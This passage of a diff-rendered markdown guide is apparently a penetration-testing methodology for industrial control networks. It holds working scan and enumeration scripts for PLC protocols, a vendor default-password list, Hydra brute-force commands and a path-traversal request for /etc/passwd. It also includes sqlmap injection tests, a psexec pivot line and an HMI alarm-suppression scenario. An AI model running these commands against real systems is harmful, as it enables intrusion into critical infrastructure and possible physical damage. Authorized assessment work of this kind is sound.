echo "=== $host ($community) ===" | tee -a recon/snmp-enum.txt
|
|
262
|
+
snmpwalk -v2c -c "$community" "$host" system 2>/dev/null \
|
|
263
|
+
| tee -a recon/snmp-enum.txt
|
|
264
|
+
done
|
|
265
|
+
```
|
|
266
|
+
|
|
267
|
+
### Phase 2: Active Network Scanning (Low and Slow)
|
|
268
|
+
|
|
269
|
+
**Step 3 — ICS-aware Nmap scan with rate limiting**
|
|
270
|
+
|
|
271
|
+
```bash
|
|
272
|
+
# IMPORTANT: Use -T2 or slower in OT environments — never -T4 or -T5
|
|
273
|
+
# Some PLCs and RTUs crash under port scan load
|
|
274
|
+
|
|
275
|
+
# Phase 2a: Host discovery only (ICMP + ARP)
|
|
276
|
+
sudo nmap -sn -PR -PE --reason \
|
|
277
|
+
--min-rate 5 --max-rate 20 \
|
|
278
|
+
$OT_NETWORK \
|
|
279
|
+
-oA scan/host-discovery \
|
|
280
|
+
| tee scan/live-hosts.txt
|
|
281
|
+
|
|
282
|
+
# Phase 2b: ICS port scan on discovered hosts only
|
|
283
|
+
LIVE_HOSTS=$(grep "Nmap scan report" scan/host-discovery.nmap | awk '{print $NF}')
|
|
284
|
+
|
|
285
|
+
sudo nmap -sS -sU \
|
|
286
|
+
-p 21,22,23,80,102,443,502,1089,1090,1091,2222,2404,4000,4840,20000,44818,47808 \
|
|
287
|
+
--open \
|
|
288
|
+
--min-rate 5 --max-rate 15 \
|
|
289
|
+
-T2 \
|
|
290
|
+
-oA scan/ics-ports \
|
|
291
|
+
$LIVE_HOSTS \
|
|
292
|
+
| tee scan/port-scan-results.txt
|
|
293
|
+
|
|
294
|
+
# Phase 2c: ICS NSE scripts for identified hosts
|
|
295
|
+
sudo nmap -sV \
|
|
296
|
+
--script modbus-discover,s7-info,dnp3-info,bacnet-info,enip-info,pcworx-info,codesys-v2-login,omron-info \
|
|
297
|
+
--script-args modbus-discover.aggressive=true \
|
|
298
|
+
-p 502,102,20000,47808,44818,1962 \
|
|
299
|
+
-T2 \
|
|
300
|
+
--min-rate 5 \
|
|
301
|
+
-oA scan/ics-scripts \
|
|
302
|
+
$LIVE_HOSTS \
|
|
303
|
+
| tee scan/ics-banner.txt
|
|
304
|
+
```
|
|
305
|
+
|
|
306
|
+
**Step 4 — Web interface discovery**
|
|
307
|
+
|
|
308
|
+
```bash
|
|
309
|
+
# Identify HTTP/HTTPS services on non-standard ports common to HMIs
|
|
310
|
+
sudo nmap -sV \
|
|
311
|
+
-p 80,443,8080,8443,8888,9090,4321,7070,18080,4002,8008 \
|
|
312
|
+
--open -T2 \
|
|
313
|
+
$LIVE_HOSTS \
|
|
314
|
+
-oA scan/web-services \
|
|
315
|
+
| tee scan/web-ports.txt
|
|
316
|
+
|
|
317
|
+
# Grab banners from web services
|
|
318
|
+
for host in $LIVE_HOSTS; do
|
|
319
|
+
for port in 80 443 8080 8443; do
|
|
320
|
+
banner=$(curl -sk --max-time 5 -o /dev/null -w "%{http_code} %{url_effective}" \
|
|
321
|
+
http://$host:$port/ 2>/dev/null)
|
|
322
|
+
if [ -n "$banner" ]; then
|
|
323
|
+
echo "$host:$port => $banner" | tee -a scan/web-banners.txt
|
|
324
|
+
curl -sk --max-time 5 -D - http://$host:$port/ \
|
|
325
|
+
| grep -Ei "server:|x-powered-by:|www-authenticate:|set-cookie:" \
|
|
326
|
+
| tee -a scan/web-banners.txt
|
|
327
|
+
fi
|
|
328
|
+
done
|
|
329
|
+
done
|
|
330
|
+
```
|
|
331
|
+
|
|
332
|
+
### Phase 3: Protocol-Level Enumeration (INTERMEDIATE)
|
|
333
|
+
|
|
334
|
+
**Step 5 — Modbus register reading**
|
|
335
|
+
|
|
336
|
+
```bash
|
|
337
|
+
source ~/ics-env/bin/activate
|
|
338
|
+
|
|
339
|
+
# Modbus device identification and register enumeration
|
|
340
|
+
cat > /tmp/modbus_enum.py << 'EOF'
|
|
341
|
+
#!/usr/bin/env python3
|
|
342
|
+
"""Modbus TCP enumeration script — read-only operations."""
|
|
343
|
+
import sys
|
|
344
|
+
from pymodbus.client import ModbusTcpClient
|
|
345
|
+
from pymodbus.exceptions import ModbusException
|
|
346
|
+
|
|
347
|
+
target = sys.argv[1] if len(sys.argv) > 1 else "192.168.100.30"
|
|
348
|
+
port = int(sys.argv[2]) if len(sys.argv) > 2 else 502
|
|
349
|
+
|
|
350
|
+
print(f"[*] Connecting to {target}:{port}")
|
|
351
|
+
client = ModbusTcpClient(target, port=port, timeout=5)
|
|
352
|
+
|
|
353
|
+
if not client.connect():
|
|
354
|
+
print("[-] Connection failed")
|
|
355
|
+
sys.exit(1)
|
|
356
|
+
|
|
357
|
+
print("[+] Connected")
|
|
358
|
+
|
|
359
|
+
# Try unit IDs 0-10 (slave addresses)
|
|
360
|
+
for unit_id in range(0, 11):
|
|
361
|
+
# Read coils (0x01) — digital outputs
|
|
362
|
+
try:
|
|
363
|
+
result = client.read_coils(0, count=10, slave=unit_id)
|
|
364
|
+
if not result.isError():
|
|
365
|
+
print(f" Unit {unit_id} | Coils[0-9]: {result.bits[:10]}")
|
|
366
|
+
except Exception:
|
|
367
|
+
pass
|
|
368
|
+
|
|
369
|
+
# Read discrete inputs (0x02) — digital inputs
|
|
370
|
+
try:
|
|
371
|
+
result = client.read_discrete_inputs(0, count=10, slave=unit_id)
|
|
372
|
+
if not result.isError():
|
|
373
|
+
print(f" Unit {unit_id} | Discrete Inputs[0-9]: {result.bits[:10]}")
|
|
374
|
+
except Exception:
|
|
375
|
+
pass
|
|
376
|
+
|
|
377
|
+
# Read holding registers (0x03) — configuration/setpoints
|
|
378
|
+
try:
|
|
379
|
+
result = client.read_holding_registers(0, count=20, slave=unit_id)
|
|
380
|
+
if not result.isError():
|
|
381
|
+
print(f" Unit {unit_id} | Holding Regs[0-19]: {result.registers}")
|
|
382
|
+
except Exception:
|
|
383
|
+
pass
|
|
384
|
+
|
|
385
|
+
# Read input registers (0x04) — analog inputs
|
|
386
|
+
try:
|
|
387
|
+
result = client.read_input_registers(0, count=20, slave=unit_id)
|
|
388
|
+
if not result.isError():
|
|
389
|
+
print(f" Unit {unit_id} | Input Regs[0-19]: {result.registers}")
|
|
390
|
+
except Exception:
|
|
391
|
+
pass
|
|
392
|
+
|
|
393
|
+
client.close()
|
|
394
|
+
print("[*] Done")
|
|
395
|
+
EOF
|
|
396
|
+
|
|
397
|
+
python3 /tmp/modbus_enum.py $PLC_HOST 502 | tee scan/modbus-enum.txt
|
|
398
|
+
```
|
|
399
|
+
|
|
400
|
+
**Step 6 — Siemens S7 CPU information extraction**
|
|
401
|
+
|
|
402
|
+
```bash
|
|
403
|
+
cat > /tmp/s7_enum.py << 'EOF'
|
|
404
|
+
#!/usr/bin/env python3
|
|
405
|
+
"""S7comm enumeration — CPU info, module list, block inventory."""
|
|
406
|
+
import snap7
|
|
407
|
+
import sys
|
|
408
|
+
|
|
409
|
+
target = sys.argv[1] if len(sys.argv) > 1 else "192.168.100.30"
|
|
410
|
+
rack = int(sys.argv[2]) if len(sys.argv) > 2 else 0
|
|
411
|
+
slot = int(sys.argv[3]) if len(sys.argv) > 3 else 1
|
|
412
|
+
|
|
413
|
+
client = snap7.client.Client()
|
|
414
|
+
print(f"[*] Connecting to S7 PLC at {target} rack={rack} slot={slot}")
|
|
415
|
+
|
|
416
|
+
try:
|
|
417
|
+
client.connect(target, rack, slot)
|
|
418
|
+
print("[+] Connected")
|
|
419
|
+
|
|
420
|
+
# CPU info
|
|
421
|
+
cpu_info = client.get_cpu_info()
|
|
422
|
+
print(f"[+] Module type : {cpu_info.ModuleTypeName.decode().strip()}")
|
|
423
|
+
print(f"[+] Serial number : {cpu_info.SerialNumber.decode().strip()}")
|
|
424
|
+
print(f"[+] AS name : {cpu_info.ASName.decode().strip()}")
|
|
425
|
+
print(f"[+] Module name : {cpu_info.ModuleName.decode().strip()}")
|
|
426
|
+
print(f"[+] Copyright : {cpu_info.Copyright.decode().strip()}")
|
|
427
|
+
|
|
428
|
+
# CPU state
|
|
429
|
+
state = client.get_cpu_state()
|
|
430
|
+
states = {0: "UNKNOWN", 4: "STOP", 8: "RUN"}
|
|
431
|
+
print(f"[+] CPU state : {states.get(state, str(state))}")
|
|
432
|
+
|
|
433
|
+
# Order code
|
|
434
|
+
order_code = client.get_order_code()
|
|
435
|
+
print(f"[+] Order code : {order_code.Code.decode().strip()}")
|
|
436
|
+
print(f"[+] Version : {order_code.V1}.{order_code.V2}.{order_code.V3}")
|
|
437
|
+
|
|
438
|
+
# List data blocks
|
|
439
|
+
print("\n[*] Data blocks:")
|
|
440
|
+
for block_type in [snap7.types.Block.DB, snap7.types.Block.FB, snap7.types.Block.FC]:
|
|
441
|
+
try:
|
|
442
|
+
blocks = client.list_blocks_of_type(block_type, 0xFFFF)
|
|
443
|
+
if blocks:
|
|
444
|
+
print(f" {block_type.name}: {list(blocks)}")
|
|
445
|
+
except Exception as e:
|
|
446
|
+
print(f" {block_type.name}: error - {e}")
|
|
447
|
+
|
|
448
|
+
client.disconnect()
|
|
449
|
+
except Exception as e:
|
|
450
|
+
print(f"[-] Error: {e}")
|
|
451
|
+
EOF
|
|
452
|
+
|
|
453
|
+
python3 /tmp/s7_enum.py $PLC_HOST 0 1 | tee scan/s7-enum.txt
|
|
454
|
+
|
|
455
|
+
# Alternative: use s7scan
|
|
456
|
+
python3 /opt/s7scan/s7scan.py -t $PLC_HOST | tee scan/s7scan-output.txt
|
|
457
|
+
|
|
458
|
+
# Nmap S7 script
|
|
459
|
+
sudo nmap -p 102 --script s7-info $PLC_HOST | tee scan/nmap-s7.txt
|
|
460
|
+
```
|
|
461
|
+
|
|
462
|
+
**Step 7 — OPC-UA endpoint enumeration**
|
|
463
|
+
|
|
464
|
+
```bash
|
|
465
|
+
cat > /tmp/opcua_enum.py << 'EOF'
|
|
466
|
+
#!/usr/bin/env python3
|
|
467
|
+
"""OPC-UA server enumeration — browse namespace without authentication."""
|
|
468
|
+
import asyncio
|
|
469
|
+
import sys
|
|
470
|
+
from asyncua import Client
|
|
471
|
+
|
|
472
|
+
async def browse_opcua(url):
|
|
473
|
+
print(f"[*] Connecting to OPC-UA: {url}")
|
|
474
|
+
try:
|
|
475
|
+
async with Client(url=url, timeout=10) as client:
|
|
476
|
+
print(f"[+] Connected")
|
|
477
|
+
print(f"[+] Server namespace array:")
|
|
478
|
+
ns_array = await client.get_namespace_array()
|
|
479
|
+
for i, ns in enumerate(ns_array):
|
|
480
|
+
print(f" [{i}] {ns}")
|
|
481
|
+
|
|
482
|
+
# Browse root
|
|
483
|
+
root = client.nodes.root
|
|
484
|
+
print("\n[+] Root node children:")
|
|
485
|
+
children = await root.get_children()
|
|
486
|
+
for child in children:
|
|
487
|
+
name = await child.read_browse_name()
|
|
488
|
+
print(f" {name.Name} (NodeId: {child.nodeid})")
|
|
489
|
+
|
|
490
|
+
# Browse Objects
|
|
491
|
+
objects = client.nodes.objects
|
|
492
|
+
print("\n[+] Objects:")
|
|
493
|
+
obj_children = await objects.get_children()
|
|
494
|
+
for child in obj_children[:20]: # Limit to first 20
|
|
495
|
+
try:
|
|
496
|
+
name = await child.read_browse_name()
|
|
497
|
+
props = await child.get_children()
|
|
498
|
+
print(f" {name.Name} ({len(props)} children)")
|
|
499
|
+
except Exception:
|
|
500
|
+
pass
|
|
501
|
+
except Exception as e:
|
|
502
|
+
print(f"[-] Error: {e}")
|
|
503
|
+
|
|
504
|
+
target_url = sys.argv[1] if len(sys.argv) > 1 else "opc.tcp://192.168.100.10:4840"
|
|
505
|
+
asyncio.run(browse_opcua(target_url))
|
|
506
|
+
EOF
|
|
507
|
+
|
|
508
|
+
python3 /tmp/opcua_enum.py "opc.tcp://$HMI_HOST:4840" | tee scan/opcua-enum.txt
|
|
509
|
+
|
|
510
|
+
# Check for anonymous access (no authentication required)
|
|
511
|
+
python3 -c "
|
|
512
|
+
import asyncio
|
|
513
|
+
from asyncua import Client
|
|
514
|
+
async def check():
|
|
515
|
+
client = Client(url='opc.tcp://$HMI_HOST:4840', timeout=10)
|
|
516
|
+
client.set_user('') # empty = anonymous
|
|
517
|
+
client.set_password('')
|
|
518
|
+
try:
|
|
519
|
+
await client.connect()
|
|
520
|
+
print('[FINDING] Anonymous OPC-UA access allowed!')
|
|
521
|
+
await client.disconnect()
|
|
522
|
+
except Exception as e:
|
|
523
|
+
print(f'Anonymous access denied: {e}')
|
|
524
|
+
asyncio.run(check())
|
|
525
|
+
" | tee -a scan/opcua-enum.txt
|
|
526
|
+
```
|
|
527
|
+
|
|
528
|
+
**Step 8 — DNP3 reconnaissance**
|
|
529
|
+
|
|
530
|
+
```bash
|
|
531
|
+
# Nmap DNP3 scan
|
|
532
|
+
sudo nmap -p 20000 --script dnp3-info $OT_NETWORK --open -T2 \
|
|
533
|
+
| tee scan/dnp3-scan.txt
|
|
534
|
+
|
|
535
|
+
# Manual DNP3 data link layer broadcast
|
|
536
|
+
cat > /tmp/dnp3_scan.py << 'EOF'
|
|
537
|
+
#!/usr/bin/env python3
|
|
538
|
+
"""DNP3 link layer test — send data link request broadcast."""
|
|
539
|
+
import socket
|
|
540
|
+
import struct
|
|
541
|
+
import sys
|
|
542
|
+
|
|
543
|
+
# DNP3 data link frame: link status request (broadcast to address 0xFFFF)
|
|
544
|
+
# Start bytes 0x0564, length, control, destination, source
|
|
545
|
+
def build_dnp3_request(src_addr=3, dst_addr=0xFFFF):
|
|
546
|
+
start = b'\x05\x64'
|
|
547
|
+
length = 5 # control(1) + dst(2) + src(2)
|
|
548
|
+
ctrl = 0x44 # PRM=1, FCB=0, FCV=0, FC=4 (LINK_STATUS)
|
|
549
|
+
frame = struct.pack('<BBHH', length, ctrl, dst_addr, src_addr)
|
|
550
|
+
# CRC calculation omitted for brevity — use scapy for production
|
|
551
|
+
return start + frame
|
|
552
|
+
|
|
553
|
+
target = sys.argv[1] if len(sys.argv) > 1 else "192.168.100.30"
|
|
554
|
+
port = 20000
|
|
555
|
+
|
|
556
|
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
557
|
+
sock.settimeout(5)
|
|
558
|
+
try:
|
|
559
|
+
sock.connect((target, port))
|
|
560
|
+
print(f"[+] DNP3 TCP port {port} open on {target}")
|
|
561
|
+
sock.send(build_dnp3_request())
|
|
562
|
+
resp = sock.recv(256)
|
|
563
|
+
print(f"[+] Response ({len(resp)} bytes): {resp.hex()}")
|
|
564
|
+
except Exception as e:
|
|
565
|
+
print(f"[-] {e}")
|
|
566
|
+
finally:
|
|
567
|
+
sock.close()
|
|
568
|
+
EOF
|
|
569
|
+
|
|
570
|
+
python3 /tmp/dnp3_scan.py $PLC_HOST | tee scan/dnp3-manual.txt
|
|
571
|
+
```
|
|
572
|
+
|
|
573
|
+
**Step 9 — EtherNet/IP CIP enumeration**
|
|
574
|
+
|
|
575
|
+
```bash
|
|
576
|
+
# Nmap EtherNet/IP scan
|
|
577
|
+
sudo nmap -p 44818 --script enip-info $OT_NETWORK --open -T2 \
|
|
578
|
+
| tee scan/enip-scan.txt
|
|
579
|
+
|
|
580
|
+
# cpppo EtherNet/IP client
|
|
581
|
+
source ~/ics-env/bin/activate
|
|
582
|
+
python3 -m cpppo.server.enip.client --print -a $PLC_HOST \
|
|
583
|
+
'@1/1/1' '@1/1/2' '@1/1/3' '@1/1/4' '@1/1/5' '@1/1/7' \
|
|
584
|
+
2>/dev/null | tee scan/enip-cip-identity.txt
|
|
585
|
+
|
|
586
|
+
# Alternative: use plcscan
|
|
587
|
+
python3 /opt/plcscan/plcscan.py $PLC_HOST | tee scan/plcscan-output.txt
|
|
588
|
+
```
|
|
589
|
+
|
|
590
|
+
### Phase 4: Default Credential Testing (ADVANCED)
|
|
591
|
+
|
|
592
|
+
**Step 10 — Compile default credential list**
|
|
593
|
+
|
|
594
|
+
```bash
|
|
595
|
+
# Build vendor-specific default credential list
|
|
596
|
+
cat > /tmp/ics-defaults.txt << 'EOF'
|
|
597
|
+
# Format: service:host:port:user:pass
|
|
598
|
+
# Siemens
|
|
599
|
+
https:HMI_HOST:443:admin:admin
|
|
600
|
+
https:HMI_HOST:443:administrator:administrator
|
|
601
|
+
https:HMI_HOST:443:user:user
|
|
602
|
+
https:HMI_HOST:443:siemens:siemens
|
|
603
|
+
# Rockwell / Allen Bradley
|
|
604
|
+
http:HMI_HOST:80:1:1
|
|
605
|
+
http:HMI_HOST:80:administrator:1234
|
|
606
|
+
# Schneider Electric
|
|
607
|
+
http:HMI_HOST:80:USER:USER
|
|
608
|
+
http:HMI_HOST:80:ADMIN:ADMIN
|
|
609
|
+
http:HMI_HOST:80:OPERATOR:
|
|
610
|
+
# GE / Emerson
|
|
611
|
+
http:HMI_HOST:80:admin:admin
|
|
612
|
+
http:HMI_HOST:80:operator:operator
|
|
613
|
+
# Honeywell
|
|
614
|
+
http:HMI_HOST:443:admin:password
|
|
615
|
+
# ABB
|
|
616
|
+
http:HMI_HOST:80:admin:admin
|
|
617
|
+
http:HMI_HOST:80:guest:guest
|
|
618
|
+
EOF
|
|
619
|
+
|
|
620
|
+
# Reference the ICS default credential database
|
|
621
|
+
ls /opt/ics-creds/
|
|
622
|
+
cat /opt/ics-creds/ics-default-credentials.csv 2>/dev/null | head -50
|
|
623
|
+
```
|
|
624
|
+
|
|
625
|
+
**Step 11 — HTTP/HTTPS default credential testing against HMI**
|
|
626
|
+
|
|
627
|
+
```bash
|
|
628
|
+
# Identify login form structure first
|
|
629
|
+
curl -sk $HMI_HOST | grep -iE "form|input|login|auth" | head -20
|
|
630
|
+
|
|
631
|
+
# Hydra HTTP form attack — adjust form parameters for target HMI
|
|
632
|
+
hydra -L /tmp/ics-users.txt -P /tmp/ics-passes.txt \
|
|
633
|
+
$HMI_HOST \
|
|
634
|
+
http-post-form \
|
|
635
|
+
"/login:username=^USER^&password=^PASS^:F=Invalid credentials" \
|
|
636
|
+
-t 4 -w 30 -vV \
|
|
637
|
+
| tee exploit/hydra-hmi.txt
|
|
638
|
+
|
|
639
|
+
# For basic auth HMIs
|
|
640
|
+
hydra -L /tmp/ics-users.txt -P /tmp/ics-passes.txt \
|
|
641
|
+
-s 80 $HMI_HOST \
|
|
642
|
+
http-get /index.html \
|
|
643
|
+
-t 4 -w 30 \
|
|
644
|
+
| tee exploit/hydra-basicauth.txt
|
|
645
|
+
|
|
646
|
+
# For SSH on engineering workstations
|
|
647
|
+
hydra -L /tmp/ics-users.txt -P /tmp/ics-passes.txt \
|
|
648
|
+
ssh://$HMI_HOST \
|
|
649
|
+
-t 4 -w 30 \
|
|
650
|
+
| tee exploit/hydra-ssh.txt
|
|
651
|
+
```
|
|
652
|
+
|
|
653
|
+
**Step 12 — Historian database default credential testing**
|
|
654
|
+
|
|
655
|
+
```bash
|
|
656
|
+
# OSIsoft PI System default credentials
|
|
657
|
+
# PI Data Archive default: PIAdmin / (blank)
|
|
658
|
+
# PI Vision web: varies by deployment
|
|
659
|
+
|
|
660
|
+
# Test PI Web API (REST interface)
|
|
661
|
+
curl -sk -u "PIAdmin:" https://$HISTORIAN_HOST/piwebapi/system \
|
|
662
|
+
| python3 -m json.tool 2>/dev/null \
|
|
663
|
+
| tee exploit/pi-webapi-test.txt
|
|
664
|
+
|
|
665
|
+
# GE Proficy Historian (iFIX) — check unauthenticated access
|
|
666
|
+
curl -sk http://$HISTORIAN_HOST:8778/ | tee exploit/proficy-banner.txt
|
|
667
|
+
|
|
668
|
+
# Wonderware System Platform / InTouch
|
|
669
|
+
curl -sk http://$HISTORIAN_HOST/ | tee exploit/wonderware-banner.txt
|
|
670
|
+
|
|
671
|
+
# SQL Server (common historian backend) — default SA
|
|
672
|
+
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password \
|
|
673
|
+
$HISTORIAN_HOST \
|
|
674
|
+
| tee exploit/mssql-test.txt
|
|
675
|
+
|
|
676
|
+
# If SQL Server found with empty SA:
|
|
677
|
+
# mssqlclient.py sa:@$HISTORIAN_HOST (impacket — read-only queries only)
|
|
678
|
+
```
|
|
679
|
+
|
|
680
|
+
**Step 13 — CVE testing on HMI web interfaces**
|
|
681
|
+
|
|
682
|
+
```bash
|
|
683
|
+
# Check for common ICS CVEs
|
|
684
|
+
# CVE-2022-37300 — Aveva InTouch Access Anywhere path traversal
|
|
685
|
+
curl -sk "http://$HMI_HOST/AccessAnywhere/..%2F..%2F..%2Fetc%2Fpasswd" \
|
|
686
|
+
| tee exploit/cve-2022-37300.txt
|
|
687
|
+
|
|
688
|
+
# CVE-2023-29177 — Siemens SINEMA Remote Connect unauthenticated RCE
|
|
689
|
+
# Test fingerprint only — do not exploit in production
|
|
690
|
+
curl -sk -I "https://$HMI_HOST/sinema/" | tee exploit/sinema-banner.txt
|
|
691
|
+
|
|
692
|
+
# Searchsploit for identified vendor/version
|
|
693
|
+
searchsploit siemens wincc | tee exploit/searchsploit-results.txt
|
|
694
|
+
searchsploit scada historian | tee -a exploit/searchsploit-results.txt
|
|
695
|
+
|
|
696
|
+
# Metasploit ICS modules
|
|
697
|
+
msfconsole -q << 'MSEOF'
|
|
698
|
+
search type:auxiliary platform:scada
|
|
699
|
+
search type:exploit name:scada
|
|
700
|
+
search wincc
|
|
701
|
+
search modbus
|
|
702
|
+
exit
|
|
703
|
+
MSEOF
|
|
704
|
+
```
|
|
705
|
+
|
|
706
|
+
### Phase 5: Network Segmentation Verification (ADVANCED)
|
|
707
|
+
|
|
708
|
+
**Step 14 — Verify IT/OT boundary controls**
|
|
709
|
+
|
|
710
|
+
```bash
|
|
711
|
+
# From OT network — attempt to reach IT resources (should be blocked)
|
|
712
|
+
echo "=== Testing OT to IT connectivity ===" | tee exploit/segmentation.txt
|
|
713
|
+
|
|
714
|
+
# Attempt DNS resolution to internet
|
|
715
|
+
nslookup google.com | tee -a exploit/segmentation.txt
|
|
716
|
+
|
|
717
|
+
# Attempt internet connectivity
|
|
718
|
+
curl -sk --max-time 5 http://www.google.com | \
|
|
719
|
+
grep -c "html" | \
|
|
720
|
+
xargs -I{} echo "Internet HTTP reachable: {}" \
|
|
721
|
+
| tee -a exploit/segmentation.txt
|
|
722
|
+
|
|
723
|
+
# Attempt to reach corporate IT subnet
|
|
724
|
+
ping -c 3 -W 2 10.0.0.1 2>&1 | tee -a exploit/segmentation.txt
|
|
725
|
+
|
|
726
|
+
# Check if historian is reachable from both IT and OT (dual-homed)
|
|
727
|
+
ip route show | tee -a exploit/segmentation.txt
|
|
728
|
+
ip addr show | tee -a exploit/segmentation.txt
|
|
729
|
+
|
|
730
|
+
# Port scan the DMZ/historian from OT side
|
|
731
|
+
sudo nmap -sS -p 1-1024 $HISTORIAN_HOST --open -T2 \
|
|
732
|
+
| tee -a exploit/segmentation.txt
|
|
733
|
+
|
|
734
|
+
# From corporate IT (separate terminal) — attempt to reach PLC directly
|
|
735
|
+
# This command is run from IT-side attacker host:
|
|
736
|
+
# sudo nmap -sS -p 502,102 $PLC_HOST --open -T2 | tee segmentation-it-to-ot.txt
|
|
737
|
+
```
|
|
738
|
+
|
|
739
|
+
### Phase 6: HMI Web Interface Exploitation (ADVANCED)
|
|
740
|
+
|
|
741
|
+
**Step 15 — Authenticated HMI post-login assessment**
|
|
742
|
+
|
|
743
|
+
```bash
|
|
744
|
+
# After obtaining credentials, assess what can be accessed
|
|
745
|
+
# Capture session cookie
|
|
746
|
+
SESSION=$(curl -sk -c /tmp/hmi-cookie.txt \
|
|
747
|
+
-d "username=admin&password=admin" \
|
|
748
|
+
-L http://$HMI_HOST/login \
|
|
749
|
+
| grep -i "session\|token" | head -5)
|
|
750
|
+
|
|
751
|
+
# Browse authenticated pages
|
|
752
|
+
curl -sk -b /tmp/hmi-cookie.txt http://$HMI_HOST/api/tags \
|
|
753
|
+
| python3 -m json.tool 2>/dev/null | tee exploit/hmi-tags.txt
|
|
754
|
+
|
|
755
|
+
curl -sk -b /tmp/hmi-cookie.txt http://$HMI_HOST/api/alarms \
|
|
756
|
+
| python3 -m json.tool 2>/dev/null | tee exploit/hmi-alarms.txt
|
|
757
|
+
|
|
758
|
+
curl -sk -b /tmp/hmi-cookie.txt http://$HMI_HOST/api/trends \
|
|
759
|
+
| python3 -m json.tool 2>/dev/null | tee exploit/hmi-trends.txt
|
|
760
|
+
|
|
761
|
+
# Test for IDOR — change user ID in API calls
|
|
762
|
+
curl -sk -b /tmp/hmi-cookie.txt http://$HMI_HOST/api/users/1 | tee exploit/hmi-idor.txt
|
|
763
|
+
curl -sk -b /tmp/hmi-cookie.txt http://$HMI_HOST/api/users/2 | tee -a exploit/hmi-idor.txt
|
|
764
|
+
|
|
765
|
+
# Test for SQLi in historian query API
|
|
766
|
+
sqlmap -u "http://$HMI_HOST/api/historical?tag=PUMP_01&start=2024-01-01" \
|
|
767
|
+
--cookie="$(cat /tmp/hmi-cookie.txt | tail -1 | awk '{print $6"="$7}')" \
|
|
768
|
+
--level=2 --risk=1 --batch \
|
|
769
|
+
| tee exploit/sqlmap-historian.txt
|
|
770
|
+
```
|
|
771
|
+
|
|
772
|
+
---
|
|
773
|
+
|
|
774
|
+
## 5. Real Attack Scenarios
|
|
775
|
+
|
|
776
|
+
### Scenario A: IT Foothold to PLC Access via Dual-Homed Historian
|
|
777
|
+
|
|
778
|
+
**Objective:** Demonstrate that an attacker who compromises an IT workstation can reach OT PLCs through a poorly segmented historian server.
|
|
779
|
+
|
|
780
|
+
**Assumed Start State:** Shell on IT workstation (192.168.1.50), credentials for historian web portal obtained via phishing simulation.
|
|
781
|
+
|
|
782
|
+
```bash
|
|
783
|
+
# Step 1: From IT workstation — identify historian (dual-homed)
|
|
784
|
+
# Historian has 192.168.1.20 (IT NIC) and 192.168.100.20 (OT NIC)
|
|
785
|
+
|
|
786
|
+
# Step 2: Enumerate historian from IT side
|
|
787
|
+
curl -sk http://192.168.1.20:8778/historian/api/tags \
|
|
788
|
+
| python3 -m json.tool | head -50
|
|
789
|
+
|
|
790
|
+
# Step 3: Check if historian has OT reachability
|
|
791
|
+
# Upload a simple pivot script or use existing tools on historian
|
|
792
|
+
# (Red team simulation: if historian is Windows, use WMI/SMB lateral movement)
|
|
793
|
+
# impacket-psexec domain/historian-admin:Password1@192.168.1.20
|
|
794
|
+
# (Once on historian) — run from historian host:
|
|
795
|
+
# nmap -sn 192.168.100.0/24 --min-rate 5 -T1
|
|
796
|
+
|
|
797
|
+
# Step 4: From historian pivot — reach PLC
|
|
798
|
+
# (All further commands executed on historian machine)
|
|
799
|
+
python3 /tmp/modbus_enum.py 192.168.100.30 502
|
|
800
|
+
|
|
801
|
+
# Step 5: Document the full chain
|
|
802
|
+
echo "Attack chain: IT Workstation -> Historian (dual-homed) -> PLC Modbus" \
|
|
803
|
+
| tee exploit/scenario-a-chain.txt
|
|
804
|
+
|
|
805
|
+
# Evidence: screenshot of Modbus register values read from OT PLC
|
|
806
|
+
# reached via IT network without crossing any enforced segmentation
|
|
807
|
+
```
|
|
808
|
+
|
|
809
|
+
**Impact:** Demonstrates flat or insufficiently segmented OT network. Attacker can read process values and (in non-production test) demonstrate ability to write setpoints, which could cause physical process deviation.
|
|
810
|
+
|
|
811
|
+
---
|
|
812
|
+
|
|
813
|
+
### Scenario B: Default Credentials on HMI — Process View Access and Alarm Suppression
|
|
814
|
+
|
|
815
|
+
**Objective:** Demonstrate that default credentials on HMI provide access to process visualization, alarm management, and tag write capability.
|
|
816
|
+
|
|
817
|
+
**Assumed Start State:** Network access to OT DMZ subnet (192.168.200.0/24).
|
|
818
|
+
|
|
819
|
+
```bash
|
|
820
|
+
# Step 1: Discover HMI web interface
|
|
821
|
+
sudo nmap -p 80,443,8080,8443 192.168.200.0/24 --open -T2 -sV \
|
|
822
|
+
| grep -E "open|http" | tee exploit/scenario-b-hmi-discovery.txt
|
|
823
|
+
|
|
824
|
+
HMI="192.168.200.10"
|
|
825
|
+
|
|
826
|
+
# Step 2: Identify vendor from banner
|
|
827
|
+
curl -sk -I http://$HMI/ | grep -iE "server:|x-powered-by:|via:|siemens|wonderware|aveva|ge"
|
|
828
|
+
|
|
829
|
+
# Step 3: Try default credentials (Siemens WinCC example)
|
|
830
|
+
for cred in "admin:admin" "administrator:administrator" "user:user" "wcc:wcc"; do
|
|
831
|
+
USER=$(echo $cred | cut -d: -f1)
|
|
832
|
+
PASS=$(echo $cred | cut -d: -f2)
|
|
833
|
+
RESULT=$(curl -sk -o /dev/null -w "%{http_code}" \
|
|
834
|
+
-d "j_username=$USER&j_password=$PASS&submit=Login" \
|
|
835
|
+
http://$HMI/J_SPRING_SECURITY_CHECK)
|
|
836
|
+
echo "$USER:$PASS => HTTP $RESULT" | tee -a exploit/scenario-b-creds.txt
|
|
837
|
+
done
|
|
838
|
+
|
|
839
|
+
# Step 4: With valid session — access process view
|
|
840
|
+
curl -sk -b /tmp/hmi-cookie.txt http://$HMI/runtime/api/v1/tags \
|
|
841
|
+
| python3 -m json.tool | tee exploit/scenario-b-tags.txt
|
|
842
|
+
|
|
843
|
+
# Step 5: Demonstrate alarm suppression capability (READ ONLY — document the endpoint)
|
|
844
|
+
# In production: only document that the endpoint exists and accepts writes
|
|
845
|
+
# DO NOT send write commands
|
|
846
|
+
curl -sk -b /tmp/hmi-cookie.txt \
|
|
847
|
+
http://$HMI/runtime/api/v1/alarms \
|
|
848
|
+
| python3 -m json.tool | tee exploit/scenario-b-alarms.txt
|
|
849
|
+
|
|
850
|
+
echo "[FINDING] Alarm suppression API endpoint identified at /runtime/api/v1/alarms/acknowledge" \
|
|
851
|
+
| tee -a exploit/scenario-b-alarms.txt
|
|
852
|
+
echo "[IMPACT] Attacker can suppress safety alarms preventing operator awareness of process deviations" \
|
|
853
|
+
| tee -a exploit/scenario-b-alarms.txt
|
|
854
|
+
```
|
|
